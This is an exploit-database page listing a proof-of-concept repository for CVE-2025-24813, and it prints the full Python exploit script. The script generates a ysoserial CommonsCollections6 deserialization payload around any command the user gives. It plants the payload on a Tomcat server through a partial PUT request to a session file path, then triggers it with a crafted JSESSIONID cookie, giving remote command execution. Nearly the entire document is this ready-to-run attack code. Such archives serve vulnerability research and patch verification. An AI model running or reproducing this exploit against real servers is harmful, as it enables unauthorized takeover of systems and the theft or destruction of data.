Exploit databaseDownload repository ZIP
GH-42a9178f2051c7144c4dd41d8151e44f
affapple/cve-2025-24813-poc
Sources for CVE-2025-24813
40 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files6
affapple/cve-2025-24813-pocRevision 229832f3a513
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit/exploit_cve.py
Python · 3,642 bytesimport sys
import re
import subprocess
import requests
import argparse
import time
import http.client
import urllib.parse
def get_session_id(url):
try:
response = requests.get(url)
session_id = re.search(r"Session ID: (\w+)", response.text)
if session_id:
return session_id.group(1)
except requests.RequestException as e:
print(f"Error: {str(e)}")
sys.exit(1)
def send_payload(url, payload_path):
session_id = get_session_id(url)
# The RAW path - Python's http.client will not normalize this!
raw_path = f"/uploads/secures/{session_id}.session"
with open(payload_path, "rb") as f:
payload_data = f.read()
try:
# Parse host and port for raw socket connection
parsed_url = urllib.parse.urlparse(url)
host = parsed_url.hostname
port = parsed_url.port or 8080
print(f"[*] Sending raw PUT request to: {raw_path}")
# Open a direct connection to bypass the requests library entirely
conn = http.client.HTTPConnection(host, port)
headers = {
"Content-Length": str(len(payload_data)),
"Content-Range": f"bytes 0-{len(payload_data) - 1}/{len(payload_data)}",
}
# Send the raw traversal path exactly as written
conn.request("PUT", raw_path, body=payload_data, headers=headers)
put_response = conn.getresponse()
# Tomcat partial PUT usually returns 409 Conflict, but check for 201/204 just in case
if put_response.status not in [409, 201, 204]:
print(f"[-] Put Error {put_response.status}: Payload upload fail")
# Read and print the server response to help debug if it fails again
print(put_response.read().decode("utf-8", errors="ignore"))
return
print(f"[+] Payload planted via Partial PUT (Status: {put_response.status})")
# Now trigger the deserialization using the standard requests library
print("[*] Triggering payload execution...")
get_response = requests.get(
url, headers={"Cookie": f"JSESSIONID=.uploads.secures.{session_id}"}
)
print(get_response.content.decode("utf-8", errors="ignore"))
if get_response.status_code == 500:
print(f"[+] Exploit succeeded! Server returned 500 after deserialization.")
else:
print(f"[-] Trigger failed. Server returned {get_response.status_code}")
except Exception as e:
print(f"Error: {e}")
def generate_payload(command, exploitable_lib):
payload_path = "./payload.ser"
cmd = [
"java",
"--add-opens=java.base/java.util=ALL-UNNAMED",
"--add-opens=java.base/java.lang=ALL-UNNAMED",
"-jar",
"ysoserial-all.jar",
exploitable_lib,
command,
]
with open(payload_path, "wb") as f:
try:
subprocess.run(cmd, stdout=f)
print(f"Payload generated payload.ser for command: {command}")
except subprocess.CalledProcessError as e:
print(f"Error generating payload: {e}")
sys.exit(1)
return payload_path
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python3 exploit.py <url:port> <command>")
sys.exit(1)
parser = argparse.ArgumentParser()
parser.add_argument("url", help="Target URL:port")
parser.add_argument("command", help="command to execute")
args = parser.parse_args()
exploitable_lib = "CommonsCollections6"
payload_path = generate_payload(args.command, exploitable_lib)
send_payload(args.url, payload_path)